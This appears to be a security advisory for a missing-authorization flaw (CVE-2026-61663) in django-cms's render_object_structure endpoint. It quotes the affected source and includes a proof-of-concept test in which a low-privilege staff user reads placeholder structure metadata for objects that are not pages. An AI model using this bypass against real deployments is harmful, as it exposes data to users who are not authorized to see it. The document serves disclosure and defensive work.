
$ cat cve-2026-61663-django-cms.md
CVE-2026-61663 — Missing Authorization in render_object_structure
The Issue
django-cms exposes an admin endpoint for its frontend editing toolbar:
GET /<lang>/admin/cms/placeholder/object/<ct_id>/structure/<obj_id>/
The endpoint checks staff access via admin_view, but for non-PageContent objects, render_object_structure never enforces model permissions, object permissions, or the cms.use_structure permission before rendering the structure.
CVE-2026-61663 | Medium 4.3 | CWE-862 / CWE-639
Root Cause
The endpoint is registered in cms/admin/placeholderadmin.py:
pat(r'^object/([0-9]+)/structure/([0-9]+)/$', render_object_structure),
Inside cms/views.py, render_object_structure has a permission check only for PageContent:
if issubclass(content_type.model_class(), PageContent):
# checks user_can_view_page, raises Http404 on failure
else:
content_type_obj = content_type.get_object_for_this_type(pk=object_id)
# No permission check at all
The object is then attached to the toolbar and rendered. The else branch has zero authorization enforcement.
Why It’s a Gap
The toolbar UI already gates structure mode behind cms.use_structure — staff access alone doesn’t show the structure switcher. But the backend endpoint bypasses that UI gate entirely. A user with only is_staff=True can call the structure endpoint directly for non-PageContent objects and receive structure metadata.
Proof of Concept
Using django-cms’ own test project model FancyPoll (a non-PageContent model with PlaceholderRelationField):
from cms.test_utils.testcases import CMSTestCase
from cms.test_utils.project.placeholder_relation_field_app.models import FancyPoll
from cms.toolbar.utils import get_object_structure_url
from cms.utils.placeholder import rescan_placeholders_for_obj
class RenderObjectStructureAuthorizationPoC(CMSTestCase):
def test_staff_without_permissions_can_read_non_pagecontent_structure(self):
target = FancyPoll.objects.create(name="private-fancy-poll")
rescan_placeholders_for_obj(target)
attacker = self._create_user("low_staff_no_model_perms",
is_staff=True, is_superuser=False)
self.assertFalse(attacker.has_perm(
"placeholder_relation_field_app.change_fancypoll"))
self.assertFalse(attacker.has_perm("cms.use_structure"))
structure_url = get_object_structure_url(target, language="en")
with self.login_user_context(attacker):
response = self.client.get(structure_url)
self.assertEqual(response.status_code, 200)
Result: HTTP 200 — the response contains the target placeholder ID, leaking structure metadata.
Impact
Low-privileged staff users can read placeholder/plugin metadata for non-PageContent objects they should not be able to inspect. This can leak placeholder names, plugin layout, plugin identifiers, and object existence across teams — especially relevant for deployments using third-party django-cms apps that expose frontend-editable objects outside PageContent.